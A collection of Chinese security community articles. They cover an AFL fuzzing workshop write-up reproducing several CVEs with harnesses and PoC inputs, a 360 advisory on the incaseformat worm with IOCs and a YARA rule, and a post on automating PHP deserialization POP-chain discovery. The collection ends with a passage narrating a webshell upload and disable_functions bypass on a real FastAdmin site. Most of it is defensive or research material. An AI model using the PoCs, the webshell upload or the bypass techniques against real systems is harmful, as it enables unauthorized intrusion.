（3）需要将fuzzer生成的数据送到库函数里。而这就需要写个harness来将外部输入送到库函数里。这个可以从命令行指定文件来实现或者直接在标准输入里输入。
为了测试上面的两个函数，我们写个main函数，来调用这个library.h的函数。
#include "library.h"
#include <string.h>
#include <stdio.h>
void main() {
char *data = "Some input data\n";
lib_echo(data, strlen(data));
printf("%d\n", lib_mul(1,2));
}
然后，使用下面的命令进行编译。
AFL_HARDEN=1 afl-clang-fast harness.c library.c -o harness
如果插桩成功，应该是如下结果：
但是如果就这样直接afl-fuzz ，会发现AFL提示：odd，check syntax！
原因很明显，是因为刚刚写的harness根本没有从外部获取输入。所以，我们需要修改harness，让他从stdin获取输入，并且将输入喂给目标函数。如果对标准输入输出的概念不太了解，可以用man命令（man
3 stdin）简单了解一下。
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include "library.h"
// fixed size buffer based on assumptions about the maximum size that is likely necessary to exercise all aspects of the target function
#define SIZE 50
int main() {
// make sure buffer is initialized to eliminate variable behaviour that isn't dependent on the input.
char input[SIZE] = {0};
ssize_t length;
length = read(STDIN_FILENO, input, SIZE);
lib_echo(input, length);
}
现在再进行fuzz就不会有那个提示了。这个harness，只是在前面的基础上加了一个read函数，读取标准输入，并将输入作为lib_echo的参数。而afl可以自动生成输入，喂给stdin，从而将输入传到lib_echo，达到测试函数的目的。另外，也可以发现afl会将生成的输入直接从stdin传递，那么对于一些命令行程序，带argv参数那种，afl又是如何处理的呢？这个问题先放着，看后面做完挑战，是否能够得到解答。
接下来测试的lib_mul函数，这个函数需要两个输入，又要如何解决呢？作者给出的harness如下，主要看19到25行。就是多了个read函数输入第二个参数。
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include "library.h"
// fixed size buffer based on assumptions about the maximum size that is likely necessary to exercise all aspects of the target function
#define SIZE 100
int main(int argc, char* argv[]) {
if((argc == 2) && strcmp(argv[1], "echo") == 0) {
// make sure buffer is initialized to eliminate variable behaviour that isn't dependent on the input.
char input[SIZE] = {0};
ssize_t length;
length = read(STDIN_FILENO, input, SIZE);
lib_echo(input, length);
} else if ((argc == 2) && strcmp(argv[1], "mul") == 0) {
int a,b = 0;
read(STDIN_FILENO, &a, 4);
read(STDIN_FILENO, &b, 4);
printf("%d\n", lib_mul(a,b));
} else {
printf("Usage: %s mul|echo\n", argv[0]);
}
}
这部分主要是教怎么写harness，作者还给了个小练习。要求从argv读取文件名，并打开特定的文件，将内容读到一个缓冲区内，并将buffer内容传到目标函数里。简单写了一下，仅供参考。
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include "library.h"
// fixed size buffer based on assumptions about the maximum size that is likely necessary to exercise all aspects of the target function
#define SIZE 100
int main(int argc, char* argv[]) {
char input[SIZE] = {0};
FILE *fp = fopen(argv[1],"r");
ssize_t length;
fread(input,length,1,fp);
lib_echo(input, length);
fclose(fp);
}
接下来就开始测试真实程序~
## Libxml2
第一个挑战是复现 CVE-2015-8317。
libxml2是一个热门的XML库。这类库很适合用来fuzzing，理由有六个：
（1）经常解析用户提供的数据
（2）使用不安全的语言写的
（3）无状态
（4）没有网络和文件系统交互
（5）官方发布的API是很好的目标，不需要去识别和隔离内部的组件
（6）快
这次的教程尝试复现CVE-2015-8317。
输入以下命令来对libxml编译插桩，并且加上ASAN的选项。
cd libxml2
CC=afl-clang-fast ./autogen.sh
AFL_USE_ASAN=1 make -j 4
然后接下来需要写个harness来测试libxml的几个核心函数。可以发现下面的harness中出现了很多下划线带AFL的函数。这些函数可以在AFL的LLVM模式的文档（[https://github.com/google/AFL/blob/master/llvm_mode/README.llvm）](https://github.com/google/AFL/blob/master/llvm_mode/README.llvm%EF%BC%89)
里找到说明。
这里主要说下AFL_LOOP(1000)，这个指的是启用AFL的persistent
模式。对于一些无状态的API库，可以复用进程来测试多个测试样例，从而减少fork系统调用的使用，进而减少OS的开销。
#include "libxml/parser.h"
#include "libxml/tree.h"
#include <unistd.h>
__AFL_FUZZ_INIT();
int main(int argc, char **argv) {
#ifdef __AFL_HAVE_MANUAL_CONTROL
__AFL_INIT();
#endif
unsigned char *buf = __AFL_FUZZ_TESTCASE_BUF; // must be after __AFL_INIT
xmlInitParser();
while (__AFL_LOOP(1000)) {
int len = __AFL_FUZZ_TESTCASE_LEN;
xmlDocPtr doc = xmlReadMemory((char *)buf, len, "https://mykter.com", NULL, 0);
if (doc != NULL) {
xmlFreeDoc(doc);
}
}
xmlCleanupParser();
return(0);
}
编译harness。
AFL_USE_ASAN=1 afl-clang-fast ./harness.c -I libxml2/include libxml2/.libs/libxml2.a -lz -lm -o fuzzer
写个初始输入seed。
mkdir in
echo "<hi></hi>" > in/hi.xml
开始fuzz，-x表示设定fuzzer的字典。@@类似占位符，表示输入的位置。因为harness用的是argv作为输入，而不是stdin，所以这里用的是@@。
afl-fuzz -i in -o out -x /home/fuzzer/AFLplusplus/dictionaries/xml.dict ./fuzzer @@
大概跑了218min，可以发现出现了12个crash。
## Heartbleed
这个challenge是复现著名的心脏滴血漏洞。
配置并build openssl
cd openssl
CC=afl-clang-fast CXX=afl-clang-fast++ ./config -d
AFL_USE_ASAN=1 make
harness：
#include <openssl/ssl.h>
#include <openssl/err.h>
#include <assert.h>
#include <stdint.h>
#include <stddef.h>
#include <unistd.h>
#ifndef CERT_PATH
# define CERT_PATH
#endif
SSL_CTX *Init() {
SSL_library_init();
SSL_load_error_strings();
ERR_load_BIO_strings();
OpenSSL_add_all_algorithms();
SSL_CTX *sctx;
assert (sctx = SSL_CTX_new(TLSv1_method()));
/* These two file were created with this command:
openssl req -x509 -newkey rsa:512 -keyout server.key \
-out server.pem -days 9999 -nodes -subj /CN=a/
*/
assert(SSL_CTX_use_certificate_file(sctx, "server.pem",
SSL_FILETYPE_PEM));
assert(SSL_CTX_use_PrivateKey_file(sctx, "server.key",
SSL_FILETYPE_PEM));
return sctx;
}
int main() {
static SSL_CTX *sctx = Init();
SSL *server = SSL_new(sctx);
BIO *sinbio = BIO_new(BIO_s_mem());
BIO *soutbio = BIO_new(BIO_s_mem());
SSL_set_bio(server, sinbio, soutbio);
SSL_set_accept_state(server);
/* TODO: To spoof one end of the handshake, we need to write data to sinbio
* here */
#ifdef __AFL_HAVE_MANUAL_CONTROL
__AFL_INIT();
#endif
uint8_t data[100] = {0};
size_t size = read(STDIN_FILENO,data,100);
if (size == -1){
printf("Failed to read from stdin \n");
return (-1);
}
BIO_write(sinbio, data, size);
SSL_do_handshake(server);
SSL_free(server);
return 0;
}
写好harness后，编译。
AFL_USE_ASAN=1 afl-clang-fast++ -g handshake.cc openssl/libssl.a openssl/libcrypto.a -o handshake -I openssl/include -ldl
然后开始fuzz，这次采用的是stdin输入，所以就没有使用占位符@@了。
/home/fuzzer/workshop/AFLplusplus/utils/asan_cgroups/limit_memory.sh -u fuzzer afl-fuzz -i in -o out ./handshake
如果出现swapoff -a的提醒，需要在宿主机上使用命令swapoff -a暂时关闭交换分区。
大概跑10min以内会出现一个crash，我挂在那里跑了三个小时，也只有三个crash。
用生成的crash运行下源程序，会发现ASAN打印出了心脏滴血漏洞的相关信息。
## ntpq
ntpq是向服务器查询信息，返回给用户的程序。这个challenge主要是看能不能找到CVE-2009-0159（[https://xorl.wordpress.com/2009/04/13/cve-2009-0159-ntp-remote-stack-overflow/）](https://xorl.wordpress.com/2009/04/13/cve-2009-0159-ntp-remote-stack-overflow/%EF%BC%89) 这个漏洞，以及如何用AFL测试这种网络服务类的应用程序。
在测试前，先写下test harness，将这个harness复制倒nptq的main函数里去。
#ifdef __AFL_HAVE_MANUAL_CONTROL
__AFL_INIT();
#endif
int datatype=0;
int status=0;
char data[1024*16] = {0};
int length=0;
#ifdef __AFL_HAVE_MANUAL_CONTROL
while (__AFL_LOOP(1000)) {
#endif
datatype=0;
status=0;
memset(data,0,1024*16);
read(0, &datatype, 1);
read(0, &status, 1);
length = read(0, data, 1024 * 16);
cookedprint(datatype, length, data, status, stdout);
#ifdef __AFL_HAVE_MANUAL_CONTROL
}
#endif
return 0;
编译ntpq，注意是在ntpq4.2.2那个文件夹。另外一个4.2.8p10是修补过漏洞的。
CC=afl-clang-fast ./configure && AFL_HARDEN=1 make -C ntpq
然后进行fuzz，初始输入随便放点简单的字符串，我放了一个hello进去。
afl-fuzz -i in -o out -x ntpq.dict ntp-4.2.2/ntpq/ntpq
可以发现，才跑一会就冒出一大堆crash。
由于修补过的ntpq的cookedprint函数是6个参数了，所以之前的harness没法直接用了。直接使用修补过的ntpq的main函数进行fuzz，一时半会并没有跑出多少crash。
这次的challeng还附带了如何查询覆盖率的教程。
首先，加上覆盖率的选项对ntpq进行编译。
CC=clang CFLAGS="--coverage -g -O0" ./configure && make -C ntpq
然后运行插桩后的ntpq，输入为queue里的所有文件。这些文件对应着触发新路径的输入。
for F in out/default/queue/id* ; do ./ntp-4.2.8p10/ntpq/ntpq < $F > /dev/null ; done
然后编译覆盖率信息为gcov的report。
cd ./ntp-4.2.8p10/ntpq/ && llvm-cov gcov ntpq.c
查看覆盖率的报告。
./ntp-4.2.8p10/ntpq/ntpq.c.gcov
可以发现行号前面多了数字，井号和减号。井号表示没有执行该行。减号表示这行没有代码。
## sendmail
这次的challenge主要是研究初始输入seed对于fuzzer的影响。复现的CVE是：CVE-1999-0206,
<https://samate.nist.gov/SRD/view_testcase.php?tID=1301>
由于这次的testharness已经写好了，我们只要输入以下命令，编译sendmail程序，设置初始输入seed为a，然后开始fuzz。
make clean
CC=afl-clang-fast make
mkdir in
echo a > in/1
afl-fuzz -i in -o out ./m1-bad @@
大约过了20s，afl发现了crash。
现在让我们修改一下seed，再跑一下看看。
echo -e "a=\nb=" > in/multiline
直到过了1分钟才发现crash。emm这和作者说的不一样啊。看起来AFL有很大的玄学成分。
然后可以尝试把生成的crash，用afl-tmin处理一下，得到精简的测试样例。
afl-tmin -i id:000000,sig:06,src:000047,time:11346,op:havoc,rep:8 -o shrinked ../../../m1-bad @@
我试了6个crash的测试样例，分别得到如下精简后的测试样例。发现这几个都还挺像的，但是又不完全一样。
#1
0000000000000000000000000000000000000000000=
000000000000000000000000000=
#2
0000000000000000000=
0000000000000000000000000000000=
00000000000000000000=
#3
0000000000000000000000000000000000000=
000000000000000000000000000000000=
#4
000000000000000000000000000000000000=
0000000000000000000000000000000000=
#5
00000000000000000000000000000000000000000000=
00000000000000000000000000=
#6
00000000000000000000000000=
00000000000000000000000000000000000000000000=
官方的answer.md给出的结论是：没得到相同的结果是afl-tmin并不能在不触发crash的情况下精简输入，所以他们是不同的。（暂时没理解为啥）
1305文件夹里是CVE-2003-0161（[https://samate.nist.gov/SRD/view_testcase.php?tID=1305）](https://samate.nist.gov/SRD/view_testcase.php?tID=1305%EF%BC%89)
。Fuzz的流程和前面一样，写harness，编译，设置初始输入，调用afl-fuzz进行fuzz：
cp prescan-overflow-bad-fuzz.c prescan-overflow-bad.c # 直接用作者写好的harness
CC=afl-clang-fast AFL_USE_ASAN=1 make #编译
echo -n "[email protected]" > in/seed #设置初始输入为邮箱地址
afl-fuzz -i in -o out ./prescan-bad
这个漏洞需要AFL多花些时间才能找到。等生成crash的测试样例后，会发现输入有一堆反斜杠。同时，还会有很多0xFF字符。然而需要触发漏洞的话，需要的是一连串的<0xff>对。通过对测试样例突变，afl最终会找到触发漏洞的样例。AFL在某个时候触发漏洞，但是我们并不知道afl啥时候会找到。所以这是个很好的例子去判断什么时候停止fuzzing。AFL会快速的跑完好多周期，但没有新增的路径。由于这些周期时间比较短，就导致代码覆盖率工具很有可能会显示覆盖率达到了100%。
可以采用Deferred initialization的方式来提高AFL的性能，大概提高1.5x，最合适的地方是放在read函数前。也就是下面这几行代码。
#ifdef __AFL_HAVE_MANUAL_CONTROL
__AFL_INIT();
#endif
另外，就是持久化模式可以提高4x的性能。因为这个测试程序很小，大概只要扫描五十个字符串，所以fork占用了很大部分的时间。但这样做安全吗？在第一个循环后的测试还有代表性吗？所以需要确认全局变量保留的状态不会影响后续调用parseaddr函数的过程。如果发现这样做不安全，为了性能考虑，可以考虑将harness修改成无状态的。
## date
本次的challenge是去复现CVE-2017-7476，一个由环境变量引起的漏洞。
编译date
cd coreutils
./bootstrap #可能会有一些带po后缀文件的错误，但可以忽视
patch --follow-symlinks -p1 < ../coreutils-8.29-gnulib-fflush.patch#不然make会报错
CC=afl-clang-fast ./configure #如果是root用户需要加上这个选项FORCE_UNSAFE_CONFIGURE=1
AFL_USE_ASAN=1 make
./src/date
这个bug主要是由环境变量引起的。当我们运行date命令时，加上环境变量会导致不同的程序执行命令。
./src/date
Sat Sep 25 00:52:42 UTC 2021
TZ='Asia/Tokyo' ./src/date #加上环境变量TZ后
Sat Sep 25 09:53:06 JST 2021
可以先运行下poc看看结果
TZ="aaa00000000000000000000aaaaaab00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000" ./src/date --date "2017-03-14 15:00 UTC"
不出意外应该可以看到ASAN报出了堆溢出。
那么如何fuzz环境变量呢？
HINT.md给出了三个方案：
（1）找到源码里所有读取环境变量TZ的地方，然后替换为从stdin读取。
（2）写一个harness，来设置环境变量，然后修改date.c的main函数
（3）使用LD_PRELOAD来代替getenv函数的调用，这样就可以将环境变量的值传到标准输入里去
Answer.md推荐使用第二种方案。
对于第一种方案，需要覆盖代码中的每一部分，很难确定每个地方都替换了stdin。
对于第三种方案，虽然重用性比较高，但是就入门而言，需要花费的功夫还是比较多。
添加下列代码到src/date.c的main函数的开始。这部分代码是参考AFL的utils/bash_shellshock
文件夹下的补丁来实现的。主要是从标准输入读取一个值，将这个值设置为环境变量，从而达到了实现fuzz环境变量的目的。
static char val[1024 * 16];
read(0, val, sizeof(val) - 1);
setenv("TZ", val, 1);
然后重新编译。
make clean
AFL_USE_ASAN=1 make -j
试着运行程序，可以发现我们修改成功了。
./src/date
Europe/London #标准输入
Sat Sep 25 01:23:30 Europe 2021 # 标准输出
设置种子输入，并进行fuzz
echo -n "Europe/London" > in/london
#使用ASAN的fuzz
/home/fuzzer/AFLplusplus/utils/asan_cgroups/limit_memory.sh -u root afl-fuzz -i in -o out -- src/date --date "2017-03-14T15:00-UTC"
挖了三分钟就有三个crash了，让我们来看看挖到的crash是不是前面的PoC。
运行crash
./src/date --date "2017-03-14T15:00-UTC" < out/default/crashes/id:000001,sig:06,src:000012+000011,time:41975,op:splice,rep:4
可以发现我们成功复现了CVE。也说明fuzz环境变量那边成功了。
## cyber-grand-challenge
最后的challenge是CGC比赛的一个二进制。程序里有两个漏洞，一个容易找，一个很难用fuzzing找。
编译
CC=afl-clang-fast AFL_HARDEN=1 make
afl-fuzz -i in -o out ./cromu_00007
跑了20分钟，发现了6个crash。
简单用afl-tmin看了下，这几个crash应该都是同一个类型的。
另外，教程中还用afl-analysis分析了一下sample样例
afl-analyze -i sample.input ./cromu_00007
会得到下面的结果。
如果用导致crash的输入用afl-analysis分析，会发现得到的结果会超级长，而且有很多checksummed
block。这么来看，好像体现出了正常输入和异常输入的区别。就是不知道原理是啥，感觉是不是有些机器学习的工作可以基于这些数据来进行分类。
## 总结
之前对AFL只有一个比较模糊的认识，这次做完workshop之后，才发现AFL并不像我以前认为的是那么万能的，也并不是一个傻瓜式工具。如何写test
harness，如何溯源crash，什么时候停止fuzz，什么情况下使用AFL的一些选项（持久化模式等）都有一定的讲究。在复现漏洞时，也时常让我惊叹，卧槽，这么快就挖到洞了。当然，也有的时候，跑了很久一个crash都没有，比如sendmail的1305那个挑战。后续可能会在去看看进阶的workshop的内容（[https://github.com/antonio-morales/EkoParty_Advanced_Fuzzing_Workshop）。](https://github.com/antonio-morales/EkoParty_Advanced_Fuzzing_Workshop%EF%BC%89%E3%80%82)
这次的学习记录感觉写得有点水，建议大家还是直接看workshop的文档，做完了workshop再看这篇像是实验报告的文章，也许会别有一番滋味。
参考链接：
[1] AFL的LLVM Mode, <https://kiprey.github.io/2020/07/AFL-LLVM-Mode/>
[2] AFL的LLVM 模式官方文档,
<https://github.com/google/AFL/blob/master/llvm_mode/README.llvm>
[3] CVE-2003-0161, <https://samate.nist.gov/SRD/view_testcase.php?tID=1305>
[4] CVE-1999-0206, <https://samate.nist.gov/SRD/view_testcase.php?tID=1301>
[5] CVE-2009-0159：<https://xorl.wordpress.com/2009/04/13/cve-2009-0159-ntp-remote-stack-overflow/>
[6] Fuzzing with workshop : <https://github.com/mykter/afl-training>
（这个链接里还有很多优质的参考资料）
[7] Advanced Fuzzing workshop：<https://github.com/antonio-morales/EkoParty_Advanced_Fuzzing_Workshop> | 社区文章 |
# INCASEFORMAT蠕虫病毒网络传播风险通告
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x01 背景
1月13日，360安全大脑检测到蠕虫病毒incaseformat大范围爆发并进行了预警，此次病毒爆发涉及政府、医疗、教育、运营商等多个行业，该病毒在感染用户机器后会通过U盘自我复制感染到其他电脑，最终导致电脑中非系统分区的磁盘文件被删除，给用户造成极大损失。由于被删除文件分区根目录下均存在名为incaseformat.log的空文件，因此网络上将此病毒命名为incaseformat。
Incaseformat蠕虫病毒爆发后，部分安全厂商对incaseformat病毒的传播途径及安全评估进行了误判，错误评估该蠕虫病毒不具有网络传播性，因此360对该蠕虫的真实网络传播风险进行分析通告，希望各行业用户能够正确认识该蠕虫病毒的安全风险，有效防御此类蠕虫病毒的攻击。
## 0x02 风险通告
经360安全大脑的全网遥测分析研判发现，该蠕虫病毒默认通过U盘等存储设备、网络文件共享的本地文件传播方式以外，还有一部分经由网络进行传播。
由于该蠕虫病毒带有破坏性质的传播方法，污染了大量用户的私有数据资料文件夹，导致病毒被用户误打包为ZIP、RAR等压缩包文件，通过邮件附件、网盘共享和IM通信软件等渠道对该病毒进行了各种形式的二次网络传播。传播方式占比情况如下：
## 0x03 风险分析
### 潜伏发作风险
incaseformat蠕虫病毒默认具有“潜伏发作”的特性，每隔20秒检测一次当前的时间，如果当年大于2009年，月份大于3月，日期为1号、10号、21号、29号时，病毒便会删除磁盘文件。
该蠕虫家族的部分病毒潜伏时间存在异常情况，由于时间戳转换函数的变量值被进行了人为篡改，在程序计算时间的代码中，用于表示一天的毫秒数的变量值与实际不符（正确的值为0x5265C00，程序中的值为0x5A75CC4），从而导致病毒一直处于潜伏状态，直至延期到2021年1月13日发作。
### 污染文件风险
该蠕虫病毒传播方式十分狡猾，在进行自我复制时，会将存储设备根目录下的正常目录隐藏，将自身复制为正常目录名的EXE可执行文件，同时EXE文件后缀名也设置为隐藏，最终将自身伪装为文件夹。这种破坏性的传播方式导致用户大量私有文件资料被悄悄替换，在无防备情况下误打包或被污染进行了二次网络传播。
## 0x04 排查建议
1、主机排查
排查主机Windows目录下是否存在图标为文件夹、文件名为tsay.exe、ttry.exe的可疑文件，若存在该文件及时删除。
2、U盘等存储设备排查
排查U盘等存储设备内是否存在图标为文件夹，但后缀名为exe的可疑文件，若存在该文件及时删除。
3.使用安全软件排查
## 0x05 产品侧解决方案
### 360安全分析响应平台
360安全大脑的安全分析响应平台通过网络流量检测、多传感器数据融合关联分析手段，对该类漏洞的利用进行实时检测和阻断，请用户联系相关产品区域负责人或(shaoyulong#360.cn)获取对应产品。
### 360安全卫士个人版
针对本次安全事件，用户可以通过安装360安全卫士并进行全盘杀毒来维护计算机安全。360CERT建议广大用户使用360安全卫士定期对设备进行安全检测，以做好资产自查以及防护工作。
### 360安全卫士团队版
针对本次安全事件，用户可以通过安装360安全卫士并进行全盘杀毒来维护计算机安全。360CERT建议广大用户使用360安全卫士定期对设备进行安全检测，以做好资产自查以及防护工作。
## 0x06 附录
### IOC
注: INCASEFORMAT蠕虫同源样本量巨大，更多情报请咨询360情报云（ti.360.cn）。
4b982fe1558576b420589faa9d55e81a
1071D6D497A10CEF44DB396C07CCDE65
002b05c3716262903cc6357e3a55d709
002c8cd04e44b21795e5730c528db65a
002d8439774cd7ae6652c8d8d8d480a5
002f850a311f325aa927f4145b7a67d6
002fb700dfe9da609fa82038c42ecc0f
002ff5a6256e0782a3b47f8a2a8caceb
003b91b926b152440361b577009c8c6b
003c70cd7e9118b3f776feff13eae888
003c143ebd45e51f999b2bd131b1a758
003d92f6399727a9ce002ddbcf82abad
003fe32e70b94a1a08b0c3ca90f792fc
0004dd064895ececb8cfa80ffac5194c
000c420538d054697a8dfa77f332a60c
000fc50f065553832628b7b87327d05f
001a7bc11a1bdbbeba65a57e274bad2e
001aa3980b8dce0cf4ea765717bd9899
001da7ea01c9dae31ea6a4478daa9b50
001dad02d20639885c6e3b263efe6e1f
001ef3049c7eddeae45937b1c1f155e1
002ad24d5a4d07b7f115797123bb735e
…..
YARA
rule incaseformat
{
meta:
description = "description"
author = "author"
date = "2021-01-15"
reference = "reference"
hash = "4b982fe1558576b420589faa9d55e81a"
strings:
$string1 = "C:\\windows\\ttry.exe"
$string2 = "C:\\windows\\tsay.exe"
$string3 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce"
$timestamp = {c4 5c a7 05}
condition:
uint16(0) == 0x5a4d and all of them
} | 社区文章 |
**作者：LoRexxar'@知道创宇404实验室
日期：2021年2月5日**
反序列化漏洞是PHP漏洞中重要的一个印象面，而反序列化漏洞的危害则需要反序列化链来界定，如何挖掘一条反序列化链，往往成为了漏洞挖掘中最浪费时间的部分。
而和挖掘漏洞一样，建立在流敏感分析基础上的自动化白盒漏洞扫描技术，依赖数据流中大量的语法节点数据，通过合理的分析手段，我们就可以回溯分析挖掘漏洞，而挖掘php反序列化链也一样，只要有合理的分析思路，那么我们就可以通过分析数据流来获得我们想要的结果。
今天我们就来一起聊聊，如何把人工审计转化成自动化挖掘方案吧~
# 如何挖掘一个PHP反序列化链
反序列化漏洞的原理这里就不再赘述了，而PoP链的核心，就是魔术方法。而php的魔术方法中涉及到反序列化的大致有以下几种：
__destruct: 析构函数，会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行。一般来说，也是Pop链的入口。
__toString: 类对象遇到字符串操作时触发。
__wakeup: 类实例反序列化时触发。
__call： 当调用了类对象中不存在或者不可访问的方法时触发。
__callStatic： 当调用了类对象中不可访问的静态方法时触发。
__get： 当获取了类对象中不可访问的属性时触发。
__set： 当试图向类对象中不可访问的属性赋值时触发。
__invoke: 当对象调用为函数时触发
通俗来讲，我们可以把`__destruct`当作挖掘反序列化链的入口，因为`__wakeup`一般内容为反序列化的限制。
从`__destruct`开始，我们探讨，在不同的情况下我们分别会如何寻找调用链？
## `__call`与`__callstatic`
当代码出现
function __destruct(){
$this->a();
}
我们可以直接跟下去看a方法的内容，如果当前类不存在a方法，则会优先查找父类的a方法。如果父类也不存在a方法（或是不可访问），那么就会触发当前类的`__call`魔术方法。
$this->a() ==> 当前类a方法 ==> 父类a方法 ==> 当前类__call方法 ==> 父类__call方法
值得注意的是，如果触发`__call`方法，那么a会作为`__call`的方法的第一个参数，而参数列表会作为`__call`的方法第二个参数。
而当代码出现
function __destruct(){
$this->a->b();
}
此时，我们便不用纠结于`$this->a`是代表什么类了，我们可以调用任意类的b方法。换言之，我们也可以调用任意没有b方法的类对象的`__call`方法。
$this->a->b() ==> 任意类的b方法 ==> 任意类的`__call`方法
而`__callstatic`和call大同小异，唯一的区别就是当调用静态方法时触发，例如：
function __destruct(){
$this::a();
}
但可惜的是`__callstatic`一般来说都不会有太有价值的代码。
## `__get`与`__set`
当代码出现
function __destruct(){
echo $this->a;
}
这时echo会优先访问当前类的a变量，然后寻找父类的a变量，如果不存在该类变量或者不可访问时，则会调用对应的`__get`方法
$this->a ==> 当前类a变量 ==> 父类a变量 ==> 当前类__get方法 ==> 父类__get方法
同样，如果调用`$this->a->b`，我们就有可能触发任意类的`__get`方法。
而当代码出现
function __destruct(){
$this->a = 1;
}
如果当前类不存在a变量时，则会触发`__set`方法
## `__toString`
`__toSring`是一个很特别的魔术方法，当类对象遇到字符串操作时触发。
他一般常见于这种代码中
function __destruct(){
echo $this->a;
}
当我们控制`$this->a`时，我们就可以触发任意类的`__toSring`方法。
echo $this->a ==> 任意类的__toSring
## 其他方法
其他方法主要包括`__wakeup`和`__invoke`，这两种方法比较特殊，在反序列化链中出现的概率比较小。
由于`__wakeup`是在反序列化时执行，所以一般来说，开发者会倾向于在wakeup函数中加入过滤部分，以减少反序列化漏洞的危害。
而`__invoke`触发条件是当尝试以调用函数的方式调用一个对象时。但可惜的是，如果你试图调用一个方法时，会优先执行`__call`逻辑，而不是invoke。
换言之，只有经过二次赋值的代码才有可能触发这个函数
在实际环境中，很难见到这样的代码出现了。
在了解了挖掘反序列化链的基础知识后，我们就把前面的思路整理整理，一起来看看怎么写一个自动化挖掘php反序列化链的小工具吧。
# 完成一个自动化挖掘php反序列化链的小工具
不知道为什么写到这里感觉有点儿像 :>
到这里为止，你需要我之前的文章[构造一个 CodeDB
来探索全新的白盒静态扫描方案](https://paper.seebug.org/1387/)的一些前置知识。
现在我们手里有了一张通过格式化AST数据流生成的CodeDB表，我们的目标是完成一个能自动化挖掘php反序列化的工具。
现在我们至少拥有了这样一个思路。首先，我们需要寻找所有的destruct函数
首先，我们加入对call方法的分析
$this->a() ==> 当前类a方法 ==> 父类a方法 ==> 当前类__call方法 ==> 父类__call方法
那么流程图就变成了
紧接着我们要加入`__get`和`__set`两部分的处理。
$this->a ==> 当前类a变量 ==> 父类a变量 ==> 当前类__get方法 ==> 父类__get方法
在这个基础上，我们再加上`__toString`部分，如果出现字符串操作，那么进到tostring函数的追溯。
echo $this->a ==> 任意类的__toSring
到目前为止，整个工具的大体架构就确定下来了。为了更好的确认每种会触发魔术方法的方式。我们直接将所有的语法结构分类。
比如MethodCall（方法调用）就有可能触发`__call`，而`Assignment`(赋值操作)的左值可能触发`__set`，右值可能触发`__set`。建立在这个基础上，我们圈定了每种分类可能触发的魔术方法顺序以及范围，落成代码就成了已有的工具框架。
最后一个需要确定的问题是，如何界定是否存在危害？
这里我用了，可控+参数数量一致+敏感函数3个限制来圈定范围
def check_danger_sink(self, node):
"""
检查当前节点是否调用了危险函数并可控
:param node:
:return:
"""
self.danger_function = {'call_user_func': [0],
'call_user_func_array': [0, 1],
'eval': [0],
'system': [0],
'file_put_contents': [0, 1],
'create_function': [0, 1],
}
self.indirect_danger_function = {
'array_map': [0],
'call_user_func_array': [0],
}
if node.node_type == 'FunctionCall' and node.source_node in self.danger_function:
sink_node = eval(node.sink_node)
if len(sink_node) >= len(self.danger_function[node.source_node]):
# 必须有更多参数
for i in self.danger_function[node.source_node]:
if self.check_param_controllable(sink_node[i], node):
continue
return False
return True
只有出现对应敏感函数，且存在相应的必选参数，且相应的必选参数可控才会被认定为有危害。
到这里为止，我们已经完成了一个看上去还不错的工具雏形，接下来一起看看效果吧。
# Joomla 3.9.2反序列化利用链
这里我们拿Joomla 3.9.2做范例，目前版本的工具可以扫描到几个利用链。其中主要的一条利用链如下：
可以跟进去看看代码
有兴趣的朋友可以深入去看下这里的利用链，这是一个可以构造下去的利用链。
# 写在最后
在研究基于.QL的白盒扫描方案过程中，我遇到了很多很难解决的困难，所以就生出了写一个小工具探索一下试试看的想法。于是phpunserializechain就诞生了。在写插件的过程中也切实体会到了许多有趣的问题，也完善了一个更完整的CodeDB生成方案。践行了不少想法，具体代码可以看
<https://github.com/LoRexxar/Kunlun-M/tree/master/core/plugins/phpunserializechain>
如果感兴趣的朋友可以通过星链计划联系我，一起交流思路，最后提前祝新年快乐啦~
* * * | 社区文章 |
前言：上个月月初开始，在那些项目结束之后进入了挖洞时期，每天的日常工作就是挖洞，除非有临时的项目才会停下，最近在整理报告，发现了这个站，还是挺有意思的。
### 信息收集
从fofa上找到了这个站点，叫做fastadmin，是基于Thinkphp5和bootstrap开发的后台框架，常规思路找一下后台，根据经验，没意外的话php的站点基本都是根路径后加个admin就可以找到了
### getshell
常规手段弱口令先打一波，不行再试试SQL注入
弱口令admin/123456成功进入后台
因为结合了tp5框架，想到可能可以用tp5的RCE直接命令执行，再利用file_put_contents写入shell，就直接来试试
没有成功...
应该是因为不是纯tp5框架二次开发的，所以打不通，而且tp5的RCE洞网上分析文章到处飞，估计开发应该也已经修掉了，那就只能另外找口子了
翻了一翻可以上传文件的点很多，试了其中一个，分类管理处可以添加品牌，并且有两个上传的点
尝试上传一句话，直接以php结尾，上传失败，常规绕过手段，修改content-type为image/png,成功上传
shell传上去就好办了，直接命令执行列一下目录，不出意外失败了，应该是禁用了命令执行函数
看一下phpinfo，发现存在`fpm/fastcgi`，可以借助这个点绕过`disable_function`，达到命令执行的目的，再看一下`disable_functions`里禁用的函数方法，扫了一眼我常用的都在里面了，就不细看了，想办法绕过就完事了
再绕之前先用蚁剑连接一下，可以翻目录，那就不要改马来绕过目录翻阅限制了，先找到php-fpm配置文件的位置，从前面可以知道php是7.2版本的，这台服务器上有好几个版本的php
上图可以看到监听地址为/tmp/php-cgi-72.sock,由于此处的listen并不是一个具体的端口号，没有办法使用远程攻击tcp模式的php-fpm来执行命令，也没办法使用SSRF结合Gopher协议攻击本地的php-fpm，因为两种攻击手法都是利用tcp模式，那么只剩下最后一种利用手段了
攻击unix套接字模式下的php-fpm，unix类似不同进程通过读取和写入`/run/php/php7.3-fpm.sock`来进行通信，必须在同一环境下,通过读取`/run/php/php7.3-fpm.sock`来进行通信,没办法进行远程攻击
直接利用蚁剑中的插件，找到sock文件的绝对路径，成功上传
成功上传了一个`.antoproxy.php`文件到shell所在的目录下,修改一下shell的连接地址，默认密码为ant
并没有成功，暂不清楚是什么原因，打php-fpm这条路失败了，看来需要换个思路了
想起了之前比赛用过的利用UAF脚本来绕过disable_funtion,可以从Github上对应的地址下载脚本进行手动上传，也可以用蚁剑里的插件直接绕过，这次选择了`Backtrace
UAF`,该漏洞利用在debug_backtrace()函数中使用了两年的一个
